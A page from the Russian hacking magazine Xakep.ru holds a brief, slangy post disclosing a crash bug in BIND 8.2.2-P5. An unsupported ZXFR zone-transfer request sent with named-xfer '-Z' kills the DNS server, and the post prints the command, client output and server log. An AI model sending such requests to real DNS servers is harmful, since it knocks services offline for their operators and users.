Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал

Привет перцы))
Новая дырка в Bind 8.2.2-P5 позволяет уронить практически любой *NIX, суть в следующем: bind безнадежно умирает после запроса с неизвестным типом передачи зоны (ну типа ZXFR).
zone to transfer: zone.pipez.com
dns server: dns.pipez.com 192.168.1.1
me: some.sucker.com 10.10.10.10
Посылаем запрос с ключом "-Z" ,подразумевается ,что мы желаем юзать ZXFR. Но прикол в том, что dns.pipez.com не поддерживает ZXFR и имеет не отконфигуренный "allow-transfer{}" и любой герой может запросить zone.pipez.com.
Пример:
[~/bind/src822p5/bin/named-xfer] $ ./named-xfer -z zone.pipez.com -d 9 -f pics
-Z dns.pipez.com
named-xfer[29297]: send AXFR query 0 to 192.168.1.1
named-xfer[29297]: premature EOF, fetching "zone.pipez.com".
Лог сервера таков:
Nov 8 13:29:09 dns.pipez.com: named[188510]: approved ZXFR from [10.10.10.10].2284 for "zone.pipez.com"
Nov 8 13:29:09 dns.pipez.com: named[188510]: unsupported XFR (type ZXFR) of "zone.pipez.com" (IN) to [10.10.10.10].2284
Все - сервак в глубоком ауте)).

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии